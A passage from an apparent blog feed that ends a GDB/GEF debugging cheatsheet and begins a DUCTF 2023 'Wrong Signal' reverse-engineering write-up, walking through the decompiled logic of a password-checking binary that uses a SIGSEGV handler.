r &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/tmp/input&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Reset GDB Arguments&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; args&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This empties &lt;code&gt;args&lt;/code&gt;. You can also use this command to set arbitrary arguments. The full command is:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; args &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;arguments&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;With &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#pwnlib-gdb-attach&quot;&gt;&lt;code&gt;pwnlib.gdb.attach&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;bash&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;echo &#39;&#92;x01&#92;x02&#92;x03&#92;x04&#39;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;enable-aslr&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#enable-aslr&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Enable ASLR&lt;/h3&gt;
&lt;p&gt;&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Address space layout randomisation&quot;&gt;ASLR&lt;/abbr&gt; is a common mechanism to randomise stack, heap, and library offsets.&lt;/p&gt;
&lt;p&gt;ASLR is disabled by default in GDB. To re-enable:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; disable-randomization off&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Useful for pwn challenges.&lt;/p&gt;
&lt;h3 id=&quot;pie-breakpoints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#pie-breakpoints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; PIE Breakpoints&lt;/h3&gt;
&lt;p&gt;GEF only.&lt;/p&gt;
&lt;p&gt;&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Position-independent executable&quot;&gt;PIE&lt;/abbr&gt; are binaries where segments (.data, .text) are loaded at random offsets. In GDB, it seems to always be set to offset 0x555…554000.&lt;/p&gt;
&lt;p&gt;Not all binaries have PIE enabled. Use &lt;code&gt;checksec&lt;/code&gt; to verify.&lt;/p&gt;
&lt;p&gt;Use the &lt;code&gt;pie&lt;/code&gt; commands (&lt;code&gt;help pie&lt;/code&gt;). Pie breakpoints are separate from regular breakpoints.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;pie b &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# PIE breakpoint at offset &amp;lt;addr&amp;gt; in code.&lt;/span&gt;
pie run         &lt;span class=&quot;token comment&quot;&gt;# Run with pie breakpoints enabled.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;gef-context&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#gef-context&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; GEF Context&lt;/h3&gt;
&lt;p&gt;GEF only.&lt;/p&gt;
&lt;p&gt;Summary of registers, stack, trace, code, all in one contained view.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;context
ctx&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sometimes you want to step-debug without GEF&#39;s massive spew of text covering the screen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disable Context&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gef config context.enable &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Enable Context&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gef config context.enable &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>programming</category>
        
          <category>cheatsheet</category>
        
          <category>infosec</category>
        
          <category>ctf</category>
        
          <category>pwn</category>
        
          <category>reverse</category>
        
          <category>learning</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>DUCTF 2023 – Wrong Signal</title>
        <description>You straight to `oops()`. Right away.</description>
        <link href="https://trebledj.me/posts/ductf-2023-wrong-signal/"/>
        <updated>2023-09-04T00:00:00Z</updated>
        <id>https://trebledj.me/posts/ductf-2023-wrong-signal/</id>
        <content xml:lang="en" type="html">&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;Medium. 27/1424 solves.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I am getting all the wrong signals from this binary.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Author: hashkitten&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;writeup&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#writeup&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Writeup&lt;/h2&gt;
&lt;h3 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h3&gt;
&lt;p&gt;On decompilation, the binary appears to be an innocent program which adds and subtracts numbers. The code itself is relatively simple.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Set the SIGSEGV handler.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x98&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__sigaction_handler&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sa_handler &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; oops&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sa_flags &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sigaction&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Read input.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Enter the password:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Check input for correctness.&lt;/span&gt;
local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;DAT_13386000&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;switch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; mangle_buf&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
		   &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1f&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x15000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x15000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;local_c0 &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;DAT_13398000&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Well done! Wrap that in DUCTF{}.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;oops&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;a href=&quot;https://man7.org/linux/man-pages/man2/sigaction.2.html&quot;&gt;&lt;code&gt;sigaction&lt;/code&gt;&lt;/a&gt; handler takes care of any SIGSEGV faults, outputs &lt;code&gt;Wrong!&lt;/code&gt; and exits. SIGSEGVs occur when there are invalid memory accesses (e.g. reads, writes).&lt;/li&gt;
&lt;li&gt;The for-loop iterates through &lt;em&gt;crumbs&lt;/em&gt; (2-bit groups&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;), xors it with static data (&lt;code&gt;mangle_buf&lt;/code&gt;), and modifies &lt;code&gt;local_c0&lt;/code&gt; depending on the value of each crumb. Yeah, that eyesore in the switch condition computes the current crumb.&lt;/li&gt;
&lt;li&gt;Since 16-bytes are read, this means there are 64 crumbs, therefore 64 &lt;em&gt;operations&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Our goal is to modify &lt;code&gt;local_c0&lt;/code&gt; so that it goes from &lt;code&gt;0x13386000&lt;/code&gt; to &lt;code&gt;0x13398000&lt;/code&gt;—a difference of &lt;code&gt;0x12000&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last point is interesting, since there&#39;s no way we can get a unique solution. There are multiple ways to reach an offset of &lt;code&gt;0x12000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, if our crumbs are 3, 1, 1, 1, then we&#39;ve already arrived at our target address, right? Then we can just fill the rest with 2s and 1s to do nothing to &lt;code&gt;local_c0&lt;/code&gt;, right? Right?&lt;/p&gt;
&lt;p&gt;wRoNg! Ay c-rumba.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Very WrOnG!&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-400w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-400w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 400 / 74&quot; alt=&quot;Terminal output showing &#39;Wrong!&#39;&quot; title=&quot;Very WrOnG!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-400w.webp 400w&quot; sizes=&quot;(max-width: 256px) 256px, 400px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using a Z3 script spun by reversing the program, we can output some test payloads. Now obviously this isn&#39;t the flag, but I&#39;m interested in testing out some cases. Using &lt;code&gt;I&lt;/code&gt; as the first letter, we trigger case 3 (&lt;code&gt;+0x15000&lt;/code&gt;) as our first operation.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Turns out we can&#39;t do that as our first move, because it catapults us into &lt;code&gt;oops()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;You straight to oops. Right away.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-888w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-888w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 888 / 499&quot; alt=&quot;Jail meme. But going to the oops function instead of jail.&quot; title=&quot;You straight to oops. Right away.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-888w.webp 888w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 888px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;We have the best flag. Because of &lt;code&gt;oops()&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;If instead our first case was 2, the program continues, and we&#39;re not thrown straight into &lt;s&gt;jail&lt;/s&gt; &lt;code&gt;oops()&lt;/code&gt;.
So there must be something we&#39;re missing.&lt;/p&gt;
&lt;h3 id=&quot;where-are-the-segfaults-coming-from&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#where-are-the-segfaults-coming-from&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Where are the segfaults coming from?&lt;/h3&gt;
&lt;p&gt;While all the above observations are fine and dandy, the decompilation leaves out something crucial. Isn&#39;t it weird how &lt;code&gt;local_c0&lt;/code&gt; seems to be working with addresses and jumping around without actually doing &lt;em&gt;anything&lt;/em&gt;? Turns out, there&#39;s a sneaky little dereference after the switch-case, at &lt;code&gt;0x401305&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;; 0x4012fe. Load `local_c0` from stack to RAX.&lt;/span&gt;
&lt;span class=&quot;token instruction keyword&quot;&gt;MOV&lt;/span&gt;        &lt;span class=&quot;token instruction keyword&quot;&gt;RAX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;qword ptr &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;RBP &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; local_c0&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

